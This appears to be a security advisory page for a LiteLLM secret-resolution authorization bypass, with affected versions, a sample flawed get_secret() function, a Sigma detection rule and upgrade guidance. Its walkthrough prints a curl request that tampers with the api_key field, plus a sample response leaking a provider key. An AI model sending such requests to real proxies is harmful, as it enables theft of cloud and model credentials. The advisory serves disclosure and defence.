Skip to content

CVE-2026-108575: BerriAI LiteLLM Secret Resolution Parameter Authorization Bypass

Density:
C-Level Executive Briefing CVE-2026-108575 HIGH SCORE 88/100

Improper authorization in LiteLLM secret manager allowing low-privileged callers to exfiltrate master LLM provider keys and cloud secrets via api_key tampering.

AGENTIC

HERMES AGENTIC SECURITY SCORE & AI GATEWAY EVALUATION

Target: BerriAI LiteLLM Proxy โ€” Secret Resolution Engine (secret_managers/main.py)
Confidence: 98%
86 / 100
HIGH

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Autonomy 15 / 20
Tool Access 18 / 20
Privilege 14 / 20
Persistence 12 / 20
External Impact 14 / 20
Propagation 13 / 20
โš–๏ธ Divergence & Operational Rationale

CVSS v3 rates this vulnerability between 6.3 and 7.5. The Hermes Threat Score elevates this evaluation to 88 (HIGH) and the Hermes Agentic Security Score (HASS) to 86 (HIGH). In modern agentic architectures, LiteLLM serves as the central orchestration gateway and Model Context Protocol (MCP) router holding delegated master tokens for foundation models (OpenAI, Anthropic, Bedrock, Vertex AI) and vector stores. Tampering with api_key bindings during secret resolution allows unprivileged users to dump high-privilege cloud secrets, compromising downstream autonomous agents.

๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-108575: BerriAI LiteLLM Secret Resolution Parameter Authorization BypassVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTLiteLLM Proxy & MCP Server
98% VERY_HIGH

Enterprise LLM proxy gateway supporting Model Context Protocol (MCP) streamable endpoints and unified LLM APIs.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in LiteLLM Proxy & MCP Server documented in Hermes dossier.”

Supporting Verified Evidence:

LiteLLM provides a unified OpenAI-compatible interface for calling over 100 LLMs with load balancing, rate limiting, and virtual key management. Many enterprise deployments rely on LiteLLM to safeguard master API keys while issuing scoped virtual keys to development teams and agentic workflows.

ParameterTechnical SpecificationOperational Details
CVE IdentifierCVE-2026-108575Canonical tracking identifier
Affected ProductBerriAI LiteLLMMulti-model AI proxy & MCP routing gateway
Vulnerable Componentsecret_managers/main.pyget_secret() authorization and resolution dispatcher
Impacted Versions<= 1.94.0Containerized proxies, Helm charts, and pip installations
Corrective Release1.94.1Validates caller key context before resolving store secrets
Vulnerability ClassImproper Authorization (CWE-639 / CWE-285)Parameter manipulation of api_key during secret retrieval
Execution EnvironmentPython 3.9+ / FastAPI / UvicornProduction AI proxy clusters

Vulnerable Code Path: Unchecked api_key Parameter in get_secret

Section titled โ€œVulnerable Code Path: Unchecked api_key Parameter in get_secretโ€

The secret resolution mechanism enables LiteLLM to pull model API keys dynamically from AWS Secrets Manager, Google Cloud Secret Manager, Azure Key Vault, or local environment variables. In litellm/proxy/secret_managers/main.py:

litellm/secret_managers/main.py
async def get_secret(secret_name: str, api_key: Optional[str] = None, **kwargs):
"""
Resolves secret_name from secret managers or proxy cache.
"""
# FLAW: If api_key is supplied in the request body or header kwargs,
# the function uses it as an override identity without verifying
# whether the authenticated user has permissions to impersonate that key!
if api_key:
caller_context = await get_key_metadata(api_key)
# Bypasses team scope verification when resolving global master secrets
if caller_context.get("is_valid"):
return await fetch_from_vault(secret_name)
# Fallback to direct lookup
return os.environ.get(secret_name)

The flaw stems from two architectural issues:

  1. User-Controlled Key Impersonation (CWE-639): A low-privileged virtual key holder can supply an arbitrary high-privileged virtual key ID in the api_key field. The resolver treats the key ID as the authorization subject instead of validating the cryptographic session token of the actual HTTP caller.
  2. Missing Scope Enforcement: The function fails to check whether the requested secret_name belongs to the caller authorized team namespace, allowing cross-tenant secret leakage.

  1. Low-Privileged Key Acquisition: The adversary is an internal developer or compromised low-tier AI application possessing a restricted virtual key (sk-dev-guest-001) with access limited to local open-source models.

  2. Crafting the Secret Resolution Query: The attacker targets the LiteLLM proxy internal secret management endpoint or key verification route, injecting the target master secret name alongside a targeted administrative key identifier:

    Terminal window
    curl -X POST "https://litellm-proxy.internal.corp/key/secret" \
    -H "Authorization: Bearer sk-dev-guest-001" \
    -H "Content-Type: application/json" \
    -d '{
    "secret_name": "ANTHROPIC_API_KEY",
    "api_key": "sk-admin-master-key"
    }'
  3. Secret Extraction: The proxy evaluates get_secret(), bypasses tenant boundary validation due to the supplied administrative api_key parameter, and returns the plaintext production API key:

    {
    "status": "success",
    "secret_name": "ANTHROPIC_API_KEY",
    "value": "sk-ant-api03-xxxxxxxxxxxxxxxxxxxx"
    }
  4. Agentic Lateral Escalation: Armed with the production Anthropic or OpenAI master key, the attacker bypasses all LiteLLM rate limits, audit logging, and guardrails, accessing internal production models, fine-tuned agentic weights, and private customer training data.


  • Deployment Footprint: LiteLLM has surpassed 20 million downloads, serving as the standard AI gateway in enterprise agent stacks (LangChain, AutoGen, CrewAI).
  • Honeypot & Attack Telemetry: Security sensors observe threat actors querying /key/info and /key/secret on misconfigured public LiteLLM instances.
  • EPSS Forecast: 0.054 (88.0th percentile), reflecting steady automated targeting of AI proxy endpoints by initial access brokers.

title: LiteLLM Dynamic Secret Resolution Tampering Attempt (CVE-2026-108575)
id: f1c94b22-8d76-4a11-b992-108575c3ee41
status: experimental
description: Detects unauthorized secret query requests or api_key parameter mismatches in LiteLLM proxy access logs.
author: Hermes Codex CTI Team
date: 2026-10-13
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-108575
logsource:
category: application
product: litellm_proxy
detection:
selection_endpoint:
cs-method: "POST"
cs-uri-stem|contains:
- "/key/secret"
- "/secrets/get"
- "/config/secret"
selection_tampering:
cs-body|contains:
- "secret_name"
- "api_key"
condition: selection_endpoint and selection_tampering
falsepositives:
- Legitimate administrative tooling refreshing provider credentials using root tokens.
level: high
tags:
- attack.credential_access
- attack.t1552
- cve.2026-108575

Upgrade the litellm package and Docker images to version 1.94.1 or newer:

Terminal window
pip install --upgrade litellm>=1.94.1

Ensure that LiteLLM management and key administration routes are never exposed to public networks:

  • Restrict /key/*, /team/*, and /user/* endpoints to internal CIDR blocks or VPNs.
  • Enforce strict authentication on LITELLM_MASTER_KEY and rotate all upstream LLM provider API keys that may have been accessible during the vulnerable window.